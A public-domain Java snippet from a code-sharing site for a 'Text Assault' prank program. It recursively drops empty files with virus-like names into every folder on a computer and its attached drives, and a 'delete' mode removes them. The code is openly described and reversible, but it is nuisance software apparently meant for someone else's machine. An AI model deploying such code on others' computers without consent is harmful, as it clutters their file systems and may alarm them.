License Public Domain
Lines 228
Keywords
copying (1) file (4) files (1) java (9) malicious (5) malware (1) recursive (2)
Included in this Library
Permissions
Owner: ferrettsyl
Viewable by Everyone
Editable by All Siafoo Users
Hide
Easily highlight source code for your blog with our Syntax Highlighter. Join Siafoo Now or Learn More

Text Assault (File computer w/ text files) Atom Feed 3

In Brief Places X number of obscurely named text files in every folder on a computer, including any flash drives and external hard drives that are connected when it is run. They can be easily deleted by entering "delete:x" instead of "create:x" in the text box that is presented when the program is run.
# 's
  1// Two files are below, AssualtLauncher.java and TextAssault.java respectively.
2// The Main-Class is AssaultLauncher.
3
4
5
6
7
8import javax.swing.*;
9import java.awt.*;
10import java.awt.event.*;
11
12public class AssaultLauncher extends JFrame
13{
14 JTextArea infoArea = new JTextArea("create:1");
15 Thread tt = new TextThread();
16 public static void main(String[] args)
17 {
18 new AssaultLauncher();
19 }
20
21 public AssaultLauncher()
22 {
23 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
24 setTitle("Text Assault Launcher");
25 setVisible(true);
26 JButton okButton = new JButton("Execute");
27 okButton.addActionListener(new ActionListener() {
28 public void actionPerformed(ActionEvent e)
29 {
30 tt.start();
31 }
32 } );
33 this.add(new JLabel("Type create or delete in the textbox below, then a colon, and then however many files you want to delete/destroy in each folder."), BorderLayout.NORTH);
34 this.add(infoArea, BorderLayout.CENTER);
35 this.add(okButton, BorderLayout.SOUTH);
36 this.pack();
37 addWindowListener(new WindowAdapter() {
38 public void windowClosing(WindowEvent e) {
39 System.exit(0);
40 }
41 } );
42 }
43
44 class TextThread extends Thread {
45 public void run()
46 {
47 new TextAssault(infoArea.getText().split(":"));
48 }
49 }
50}
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65import java.util.*;
66import java.io.*;
67import javax.swing.JOptionPane;
68import javax.swing.JFrame;
69import javax.swing.JTextArea;
70import javax.swing.JScrollPane;
71import java.awt.*;
72import java.awt.event.*;
73import javax.swing.JButton;
74import javax.swing.JPanel;
75import javax.swing.Box;
76
77public class TextAssault
78{
79 boolean paused = false;
80 JFrame statusFrame = new JFrame();
81 boolean goOn = false;
82 static int FPF = 1;
83 long fileon = 0;
84 static boolean delete = false;
85 IOMethods IOM = new IOMethods();
86 PrintWriter output = IOM.openWriter("fileon.txt");
87 String currentFilePath = "";
88 JTextArea statusArea = new JTextArea(5, 30);
89 JPanel mainPanel = new JPanel();
90 JButton stopButton = new JButton("Terminate");
91 JButton pauseButton = new JButton("Pause");
92 JButton contButton = new JButton("Continue");
93 ActionListener AL = new ButtonListener();
94 boolean showControls = true;
95 boolean showingStatus = false;
96 JButton statusButton = new JButton("Status");
97 Box basn = Box.createVerticalBox();
98 public static void main(String[] args)
99 {
100 if (args.length > 0)
101 if (args[0].equals("delete"))
102 delete = true;
103 if (args.length > 1)
104 try { FPF = Integer.parseInt(args[1]); } catch (NumberFormatException e) {}
105 new TextAssault(args);
106 }
107
108 public TextAssault(String[] av)
109 {
110 showTheControls();
111 if (av.length > 0)
112 if (av[0].equals("delete"))
113 delete = true;
114 if (av.length > 1)
115 try { FPF = Integer.parseInt(av[1]); } catch (NumberFormatException e) {}
116 runv();
117 }
118
119 public TextAssault(String[] av, boolean sco)
120 {
121 showControls = sco;
122 showTheControls();
123 if (av.length > 0)
124 if (av[0].equals("delete"))
125 delete = true;
126 if (av.length > 1)
127 try { FPF = Integer.parseInt(av[1]); } catch (NumberFormatException e) {}
128 runv();
129 }
130
131 public void runv()
132 {
133 showTheControls();
134 Thread sg = new StatusGiver();
135 Thread c = new CloserThread();
136 c.start();
137 while (!goOn) {}
138 sg.start();
139 stopButton.addActionListener(AL);
140 pauseButton.addActionListener(AL);
141 contButton.addActionListener(AL);
142 statusButton.addActionListener(AL);
143 mainPanel.add(stopButton);
144 mainPanel.add(pauseButton);
145 mainPanel.add(contButton);
146 //mainPanel.add(statusButton);
147 basn.add(mainPanel);
148 basn.add(statusButton);
149 statusFrame.add(basn);
150 statusFrame.pack();
151 File root = File.listRoots()[0];
152 statusFrame.repaint();
153 makeInDirectory(root);
154 //JOptionPane.showMessageDialog(statusFrame, "This computer has been pranked.");
155 System.exit(0);
156 }
157
158 public void makeInDirectory(File root)
159 {
160 while (paused) {}
161 String[] list = root.list();
162 for (int v = 0; v < list.length; v++) {
163 String sf1 = list[v];
164 try {
165 File f1 = new File(root.getPath() + "/" + sf1);
166 if (f1.isDirectory()) {
167 for (int i = 0; i < FPF; i++)
168 createRandomFile(f1);
169 output.println(f1.getPath());
170 output.write("");
171 currentFilePath = f1.getPath();
172 makeInDirectory(f1);
173 } } catch (NullPointerException e) {v++;}
174 }
175 }
176
177 public void write(File f)
178 {
179 try {
180 f.getParentFile().mkdirs();
181 f.createNewFile();
182 } catch (IOException e) {}
183 }
184
185 public void delete(File f)
186 {
187 f.delete();
188 }
189
190 public int randomInt(int low, int high)
191 {
192 int result = (int)(Math.random()
193 * (high - low + 1)) + low;
194 return result;
195 }
196
197 public void createRandomFile(File f1)
198 {
199 fileon++;
200 String fp = f1.getPath()+"/";
201 fp += "v" +fileon+"i"+fileon+ "r"+fileon+ "u"+fileon+ "s" + "MYT4X2TVRS";
202 fp += ".txt";
203 if (delete)
204 delete(new File(fp));
205 else
206 write(new File(fp));
207 }
208
209 class CloserThread extends Thread
210 {
211 public void run()
212 {
213 statusFrame.setTitle("Files Created: 0");
214 statusFrame.setSize(1000, 1);
215 showTheControls();
216 goOn = true;
217 }
218 }
219
220 class StatusGiver extends Thread
221 {
222 public void run()
223 {
224 String cod = "Create";
225 if (delete)
226 cod = "Delete";
227 while (true) {
228 if (showingStatus)
229 statusButton.setText(currentFilePath);
230 if ((fileon+"").endsWith("00")) {
231 statusFrame.setTitle("Files "+cod+"d: " + fileon + " - " + currentFilePath);
232 // statusArea.append("\n"+currentFilePath);
233 }
234 }
235 }
236 }
237
238 class ButtonListener implements ActionListener
239 {
240 public void actionPerformed(ActionEvent e)
241 {
242 if (e.getSource() == stopButton)
243 System.exit(0);
244 else if (e.getSource() == pauseButton)
245 paused = true;
246 else if (e.getSource() == contButton)
247 paused = false;
248 else if (e.getSource() == statusButton) {
249 showingStatus = !showingStatus;
250 if (!showingStatus)
251 statusButton.setText("Status");
252 }
253 }
254 }
255
256 public void showTheControls()
257 {
258 if (showControls)
259 statusFrame.setVisible(true);
260 else
261 statusFrame.setVisible(false);
262 }
263}

Places X number of obscurely named text files in every folder on a computer, including any flash drives and external hard drives that are connected when it is run. They can be easily deleted by entering "delete:x" instead of "create:x" in the text box that is presented when the program is run.